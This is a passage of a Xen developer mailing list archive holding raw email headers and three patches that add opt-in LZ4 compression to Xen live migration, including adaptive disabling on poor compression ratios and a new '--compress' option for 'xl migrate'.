     /* GCC 4.4 (of CentOS 6.x vintage) can' t initialise anonymous unions. */
     ctx.save.callbacks = callbacks;
     ctx.save.live  = !!(flags & XCFLAGS_LIVE);
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:50:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:50:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366744.1616702 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFl-0007Py-3m; Mon, 20 Jul 2026 15:50:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366744.1616702; Mon, 20 Jul 2026 15:50:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFk-0007Pk-Vx; Mon, 20 Jul 2026 15:50:00 +0000
Received: by outflank-mailman (input) for mailman id 1366744;
 Mon, 20 Jul 2026 15:50:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFj-0007Ny-VZ
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:50:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFj-00GJmC-Ca
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:49:59 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43a0-5cb7-0a2a0a5109dd-0a2a4505affa-4
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:59 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43a6-4cb1-0a2a45050019-a0658309df94-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:59 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 653958291CA3;
 Mon, 20 Jul 2026 11:48:17 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 4/6] tools/libs/guest: adaptively disable LZ4 on poor compression ratio
Date: Mon, 20 Jul 2026 16:48:29 +0100
Message-ID: <20260720154832.1907401-5-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784562599-F72B32A1-51A010A8/0/0
X-purgate-type: clean
X-purgate-size: 7864

If a VM's memory contain mostly incompressible page content, avoid
wasting CPU on both sender and receiver.

Add a per-iteration ratio tracker so that, after each precopy
iteration, the average compression ratio across all batches of that
iteration is computed; if it is worse than XC_SR_COMPRESS_ITER_THRESHOLD
(90%), ctx->compression is downgraded to XC_SR_COMPRESS_NONE for the
remainder of the migration.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 tools/libs/guest/xg_sr_common.h |  18 ++++++
 tools/libs/guest/xg_sr_save.c   | 109 ++++++++++++++++++++++++++++++++
 2 files changed, 127 insertions(+)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index ccb02511ec..2b5b2ce26a 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -269,6 +269,24 @@ struct xc_sr_context
             unsigned long nr_deferred_pages;
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
 
+            /*
+             * Compression ratio tracking per iteration. Accumulated by
+             * the compression function for each batch and evaluated at
+             * the end of every precopy iteration to decide whether to
+             * disable compression for the remaining iterations
+             */
+            uint64_t compress_raw_total;      /* uncompressed, this iter */
+            uint64_t compress_out_total;      /* compressed, this iter */
+
+            /*
+             * Cumulative compression totals across the whole save (not
+             * reset per iteration). Used for the final compression summary
+             * logged during teardown, remain valid even if adaptive
+             * disabling turned compression off partway through
+             */
+            uint64_t compress_raw_all_total;  /* uncompressed, all iters */
+            uint64_t compress_out_all_total;  /* compressed, all iters */
+
 #ifdef HAVE_LZ4
             /*
              * Persistent LZ4 output buffer (avoids repeated malloc/free),
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 8f661f0168..dbbcddf6fd 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -19,6 +19,15 @@
  */
 #define XC_SR_COMPRESS_BATCH_THRESHOLD  97
 
+/*
+ * Per-iteration compression ratio threshold (percentage). After each
+ * precopy iteration, the average compression ratio across all batches is
+ * calculated. If it exceeds this value, compression is disabled for all
+ * remaining iterations, as the data is not compressible enough to
+ * justify the CPU cost. Set to >= 100 to disable this adaptive behaviour
+ */
+#define XC_SR_COMPRESS_ITER_THRESHOLD   90
+
 /*
  * Writes an Image header and Domain header into the stream.
  */
@@ -89,6 +98,99 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
     return write_record(ctx, &checkpoint);
 }
 
+/*
+ * Reset accumulators for compression ratio per iteration. Called at the
+ * start of each precopy iteration so that the ratio reflects only the
+ * current iteration's batches
+ */
+static void compress_stats_reset(struct xc_sr_context *ctx)
+{
+    ctx->save.compress_raw_total = 0;
+    ctx->save.compress_out_total = 0;
+}
+
+/*
+ * Accumulate compression statistics for a single batch. Called from
+ * the compression function after every LZ4_compress_default() (or any
+ * future compressor) so the totals per iteration stay up to date
+ */
+static inline void compress_stats_accumulate(struct xc_sr_context *ctx,
+                                             size_t raw_len,
+                                             size_t compressed_len)
+{
+    ctx->save.compress_raw_total += raw_len;
+    ctx->save.compress_out_total += compressed_len;
+    ctx->save.compress_raw_all_total += raw_len;
+    ctx->save.compress_out_all_total += compressed_len;
+}
+
+static void cleanup_compression(struct xc_sr_context *ctx);
+
+/*
+ * Evaluate the compression ratio per iteration. If the average ratio
+ * across all batches in the completed iteration exceeds the threshold,
+ * the data is not compressible enough to justify the CPU cost, then
+ * disable compression for all remaining iterations
+ */
+static void compress_stats_evaluate(struct xc_sr_context *ctx,
+                                    unsigned int iteration)
+{
+    xc_interface *xch = ctx->xch;
+    unsigned long ratio_permil;
+
+    if ( ctx->compression == XC_SR_COMPRESS_NONE )
+        return;
+
+    if ( ctx->save.compress_raw_total == 0 )
+        return;
+
+    ratio_permil = (unsigned long)(ctx->save.compress_out_total * 1000 /
+                                   ctx->save.compress_raw_total);
+
+    IPRINTF("Iteration %u: compressed %lu -> %lu bytes "
+            "(%lu.%lu%% average ratio)",
+            iteration,
+            (unsigned long)ctx->save.compress_raw_total,
+            (unsigned long)ctx->save.compress_out_total,
+            ratio_permil / 10, ratio_permil % 10);
+
+    if ( ctx->save.compress_out_total * 100 >=
+         ctx->save.compress_raw_total * XC_SR_COMPRESS_ITER_THRESHOLD )
+    {
+        IPRINTF("Iteration %u: average compression ratio %lu.%lu%% "
+                "(>= %u%% threshold) - disabling compression for "
+                "remaining iterations",
+                iteration, ratio_permil / 10, ratio_permil % 10,
+                XC_SR_COMPRESS_ITER_THRESHOLD);
+        cleanup_compression(ctx);
+        ctx->compression = XC_SR_COMPRESS_NONE;
+    }
+}
+
+/*
+ * Log a final compression summary covering the whole save. Called once
+ * during teardown. compress_*_all_total accumulate across all iterations
+ * (never reset), so this is meaningful even if adaptive disabling turned
+ * compression off partway through
+ */
+static void compress_stats_summary(struct xc_sr_context *ctx)
+{
+    xc_interface *xch = ctx->xch;
+    unsigned long ratio_permil;
+
+    if ( ctx->save.compress_raw_all_total == 0 )
+        return;
+
+    ratio_permil = (unsigned long)(ctx->save.compress_out_all_total * 1000 /
+                                   ctx->save.compress_raw_all_total);
+
+    IPRINTF("Compression summary: compressed %lu -> %lu bytes "
+            "(%lu.%lu%% average ratio) over the whole save",
+            (unsigned long)ctx->save.compress_raw_all_total,
+            (unsigned long)ctx->save.compress_out_all_total,
+            ratio_permil / 10, ratio_permil % 10);
+}
+
 #ifdef HAVE_LZ4
 /*
  * Allocate LZ4 compression buffers during setup_compression()
@@ -196,6 +298,8 @@ static bool lz4_compress_batch(struct xc_sr_context *ctx, unsigned int nr_pages,
         compressed_len = off;
     }
 
+    compress_stats_accumulate(ctx, raw_len, compressed_len);
+
     /*
      * Decline: if compression didn't shrink the data enough, send
      * uncompressed page data instead. This avoids transmitting extra
@@ -702,6 +806,8 @@ static int send_memory_live(struct xc_sr_context *ctx)
         policy_decision = precopy_policy(*policy_stats, data);
         x++;
 
+        compress_stats_reset(ctx);
+
         if ( stats.dirty_count > 0 && policy_decision != XGS_POLICY_ABORT )
         {
             rc = update_progress_string(ctx, &progress_str);
@@ -713,6 +819,8 @@ static int send_memory_live(struct xc_sr_context *ctx)
                 goto out;
         }
 
+        compress_stats_evaluate(ctx, x);
+
         if ( policy_decision != XGS_POLICY_CONTINUE_PRECOPY )
             break;
 
@@ -1055,6 +1163,7 @@ static void cleanup(struct xc_sr_context *ctx)
     free(ctx->save.deferred_pages);
     free(ctx->save.batch_pfns);
 
+    compress_stats_summary(ctx);
     cleanup_compression(ctx);
 }
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:50:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:50:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366751.1616710 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFp-0008Nl-BL; Mon, 20 Jul 2026 15:50:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366751.1616710; Mon, 20 Jul 2026 15:50:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFp-0008Nc-8P; Mon, 20 Jul 2026 15:50:05 +0000
Received: by outflank-mailman (input) for mailman id 1366751;
 Mon, 20 Jul 2026 15:50:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFn-0007wl-AA
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:50:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFm-00GJmC-Mk
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:50:02 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e438b-5cb7-0a2a0a5109dd-0a2a450387ba-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:50:02 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43a9-fae8-0a2a45030019-a0658309c936-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:50:02 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id AE55F8291CA3;
 Mon, 20 Jul 2026 11:48:20 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 5/6] tools/libs/guest: opt in to LZ4 save-side compression via XCFLAGS_COMPRESS_LZ4
Date: Mon, 20 Jul 2026 16:48:30 +0100
Message-ID: <20260720154832.1907401-6-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784562602-6F6C64E9-6E97009F/0/0
X-purgate-type: clean
X-purgate-size: 1914

This patch introduces a new public flag XCFLAGS_COMPRESS_LZ4 (bit 2) that
can be used to enable the LZ4 migration compression. xc_domain_save() now
starts with ctx.compression = XC_SR_COMPRESS_NONE and only switches to
XC_SR_COMPRESS_LZ4 when the caller sets the flag.

When this flag is clear, libxenguest emits the legacy REC_TYPE_PAGE_DATA
records just as it did before this series.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 tools/include/xenguest.h      |  5 +++--
 tools/libs/guest/xg_sr_save.c | 11 +++++++++++
 2 files changed, 14 insertions(+), 2 deletions(-)

diff --git a/tools/include/xenguest.h b/tools/include/xenguest.h
index 2a277cb7cd..332c95f45b 100644
--- a/tools/include/xenguest.h
+++ b/tools/include/xenguest.h
@@ -24,8 +24,9 @@
 
 #define XC_NUMA_NO_NODE   (~0U)
 
-#define XCFLAGS_LIVE      (1 << 0)
-#define XCFLAGS_DEBUG     (1 << 1)
+#define XCFLAGS_LIVE         (1 << 0)
+#define XCFLAGS_DEBUG        (1 << 1)
+#define XCFLAGS_COMPRESS_LZ4 (1 << 2) /* Compress PAGE_DATA with LZ4 on save */
 
 #define X86_64_B_SIZE   64 
 #define X86_32_B_SIZE   32
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index dbbcddf6fd..6eae9894d3 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -1317,6 +1317,17 @@ int xc_domain_save(xc_interface *xch, int io_fd, uint32_t dom,
     bool hvm;
 
     ctx.compression = XC_SR_COMPRESS_NONE;
+    if ( flags & XCFLAGS_COMPRESS_LZ4 )
+    {
+#ifdef HAVE_LZ4
+        ctx.compression = XC_SR_COMPRESS_LZ4;
+#else
+        ERROR("XCFLAGS_COMPRESS_LZ4 requested but libxenguest was built "
+              "without liblz4 support");
+        errno = EOPNOTSUPP;
+        return -1;
+#endif
+    }
 
     /* GCC 4.4 (of CentOS 6.x vintage) can' t initialise anonymous unions. */
     ctx.save.callbacks = callbacks;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:50:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:50:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366758.1616720 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFr-0000XF-T7; Mon, 20 Jul 2026 15:50:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366758.1616720; Mon, 20 Jul 2026 15:50:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFr-0000X3-LP; Mon, 20 Jul 2026 15:50:07 +0000
Received: by outflank-mailman (input) for mailman id 1366758;
 Mon, 20 Jul 2026 15:50:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFq-0000Hr-MD
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:50:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFq-00HRhq-2Y
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:50:06 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43a7-bab6-0a2a0a5309dd-0a2a4504d538-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:50:06 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e43ad-b57f-0a2a45040019-a0658309b530-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:50:05 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 1A3038291E7B;
 Mon, 20 Jul 2026 11:48:24 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 6/6] tools/libxl,xl: add --compress flag to xl migrate
Date: Mon, 20 Jul 2026 16:48:31 +0100
Message-ID: <20260720154832.1907401-7-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784562606-512DCB50-0CD34522/0/0
X-purgate-type: clean
X-purgate-size: 6876

Wire the libxenguest XCFLAGS_COMPRESS_LZ4 bit added earlier in this
series to libxl and xl:
* xl migrate gets a new --compress option
* libxl gets a new public flag LIBXL_SUSPEND_COMPRESS_LZ4
* LIBXL_SUSPEND_COMPRESS_LZ4 is mapped to XCFLAGS_COMPRESS_LZ4

No change to the default behaviour: without --compress, xl migrate
continues to emit uncompressed PAGE_DATA records.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 docs/man/xl.1.pod.in              |  8 ++++++++
 tools/include/libxl.h             |  1 +
 tools/libs/light/libxl_dom_save.c |  4 +++-
 tools/libs/light/libxl_domain.c   |  1 +
 tools/libs/light/libxl_internal.h |  1 +
 tools/xl/xl_cmdtable.c            |  2 ++
 tools/xl/xl_migrate.c             | 13 ++++++++++---
 7 files changed, 26 insertions(+), 4 deletions(-)

diff --git a/docs/man/xl.1.pod.in b/docs/man/xl.1.pod.in
index 88ccf7ad82..51d50cafd8 100644
--- a/docs/man/xl.1.pod.in
+++ b/docs/man/xl.1.pod.in
@@ -488,6 +488,14 @@ domain.
 
 Display huge (!) amount of debug information during the migration process.
 
+=item B<--compress>
+
+Compress the memory stream using LZ4 inside libxenguest before sending it
+to the destination host. This can significantly reduce migration time on
+slow transports, and reduce dom0 CPU pressure during host evacuations when
+the migration data is subsequently encrypted or copied through pipes.
+Requires libxenguest to have been built against liblz4.
+
 =item B<-p>
 
 Leave the domain on the receive side paused after migration.
diff --git a/tools/include/libxl.h b/tools/include/libxl.h
index 7c098edab6..bc1dbd1162 100644
--- a/tools/include/libxl.h
+++ b/tools/include/libxl.h
@@ -1908,6 +1908,7 @@ int libxl_domain_suspend(libxl_ctx *ctx, uint32_t domid, int fd,
                          LIBXL_EXTERNAL_CALLERS_ONLY;
 #define LIBXL_SUSPEND_DEBUG 1
 #define LIBXL_SUSPEND_LIVE 2
+#define LIBXL_SUSPEND_COMPRESS_LZ4 4
 
 /*
  * Only suspend domain, do not save its state to file, do not destroy it.
diff --git a/tools/libs/light/libxl_dom_save.c b/tools/libs/light/libxl_dom_save.c
index d64fd64f2e..16b882ecf0 100644
--- a/tools/libs/light/libxl_dom_save.c
+++ b/tools/libs/light/libxl_dom_save.c
@@ -245,6 +245,7 @@ void libxl__domain_save(libxl__egc *egc, libxl__domain_save_state *dss)
     const libxl_domain_type type = dss->type;
     const int live = dss->live;
     const int debug = dss->debug;
+    const int compress_lz4 = dss->compress_lz4;
     const libxl_domain_remus_info *const r_info = dss->remus;
     libxl__srm_save_autogen_callbacks *const callbacks =
         &dss->sws.shs.callbacks.save.a;
@@ -269,7 +270,8 @@ void libxl__domain_save(libxl__egc *egc, libxl__domain_save_state *dss)
     if (rc) goto out;
 
     dss->xcflags = (live ? XCFLAGS_LIVE : 0)
-          | (debug ? XCFLAGS_DEBUG : 0);
+          | (debug ? XCFLAGS_DEBUG : 0)
+          | (compress_lz4 ? XCFLAGS_COMPRESS_LZ4 : 0);
 
     /* Disallow saving a guest with vNUMA configured because migration
      * stream does not preserve node information.
diff --git a/tools/libs/light/libxl_domain.c b/tools/libs/light/libxl_domain.c
index 37fcd92871..86458a69c0 100644
--- a/tools/libs/light/libxl_domain.c
+++ b/tools/libs/light/libxl_domain.c
@@ -527,6 +527,7 @@ int libxl_domain_suspend(libxl_ctx *ctx, uint32_t domid, int fd, int flags,
     dss->type = type;
     dss->live = flags & LIBXL_SUSPEND_LIVE;
     dss->debug = flags & LIBXL_SUSPEND_DEBUG;
+    dss->compress_lz4 = flags & LIBXL_SUSPEND_COMPRESS_LZ4;
     dss->checkpointed_stream = LIBXL_CHECKPOINTED_STREAM_NONE;
 
     rc = libxl__fd_flags_modify_save(gc, dss->fd,
diff --git a/tools/libs/light/libxl_internal.h b/tools/libs/light/libxl_internal.h
index b65e0064b9..ff7a334501 100644
--- a/tools/libs/light/libxl_internal.h
+++ b/tools/libs/light/libxl_internal.h
@@ -3598,6 +3598,7 @@ struct libxl__domain_save_state {
     libxl_domain_type type;
     int live;
     int debug;
+    int compress_lz4;
     int checkpointed_stream;
     const libxl_domain_remus_info *remus;
     /* private */
diff --git a/tools/xl/xl_cmdtable.c b/tools/xl/xl_cmdtable.c
index 502244f683..1b1838735f 100644
--- a/tools/xl/xl_cmdtable.c
+++ b/tools/xl/xl_cmdtable.c
@@ -174,6 +174,8 @@ const struct cmd_spec cmd_table[] = {
       "-e              Do not wait in the background (on <host>) for the death\n"
       "                of the domain.\n"
       "--debug         Print huge (!) amount of debug during the migration process.\n"
+      "--compress      Compress the memory stream using LZ4 in libxenguest.\n"
+      "                Requires libxenguest to be built against liblz4.\n"
       "-p              Do not unpause domain after migrating it.\n"
       "-D              Preserve the domain id"
     },
diff --git a/tools/xl/xl_migrate.c b/tools/xl/xl_migrate.c
index 4b4a379aa1..31a8cb4f32 100644
--- a/tools/xl/xl_migrate.c
+++ b/tools/xl/xl_migrate.c
@@ -177,7 +177,7 @@ static void migrate_do_preamble(int send_fd, int recv_fd, pid_t child,
 }
 
 static void migrate_domain(uint32_t domid, int preserve_domid,
-                           const char *rune, int debug,
+                           const char *rune, int debug, int compress_lz4,
                            const char *override_config_file)
 {
     pid_t child = -1;
@@ -206,6 +206,8 @@ static void migrate_domain(uint32_t domid, int preserve_domid,
 
     if (debug)
         flags |= LIBXL_SUSPEND_DEBUG;
+    if (compress_lz4)
+        flags |= LIBXL_SUSPEND_COMPRESS_LZ4;
     rc = libxl_domain_suspend(ctx, domid, send_fd, flags, NULL);
     if (rc) {
         fprintf(stderr, "migration sender: libxl_domain_suspend failed"
@@ -538,10 +540,11 @@ int main_migrate(int argc, char **argv)
     char *rune = NULL;
     char *host;
     int opt, daemonize = 1, monitor = 1, debug = 0, pause_after_migration = 0;
-    int preserve_domid = 0;
+    int preserve_domid = 0, compress_lz4 = 0;
     static struct option opts[] = {
         {"debug", 0, 0, 0x100},
         {"live", 0, 0, 0x200},
+        {"compress", 0, 0, 0x300},
         COMMON_LONG_OPTS
     };
 
@@ -571,6 +574,9 @@ int main_migrate(int argc, char **argv)
     case 0x200: /* --live */
         /* ignored for compatibility with xm */
         break;
+    case 0x300: /* --compress */
+        compress_lz4 = 1;
+        break;
     }
 
     domid = find_domain(argv[optind]);
@@ -602,7 +608,8 @@ int main_migrate(int argc, char **argv)
                   pause_after_migration ? " -p" : "");
     }
 
-    migrate_domain(domid, preserve_domid, rune, debug, config_filename);
+    migrate_domain(domid, preserve_domid, rune, debug, compress_lz4,
+                   config_filename);
     return EXIT_SUCCESS;
 }
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366949.1616753 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPl-0004UK-Hi; Mon, 20 Jul 2026 16:00:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366949.1616753; Mon, 20 Jul 2026 16:00:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPl-0004U1-Bw; Mon, 20 Jul 2026 16:00:21 +0000
Received: by outflank-mailman (input) for mailman id 1366949;
 Mon, 20 Jul 2026 16:00:20 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPk-0004Oc-QL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPk-00CGfz-75
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:20 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460a-bab6-0a2a0a5309dd-0a2a4509cfca-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:20 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4614-be1a-0a2a45090019-d155dd2bd5d7-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:20 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47c6e9a694bso5724921f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:20 -0700 (PDT)
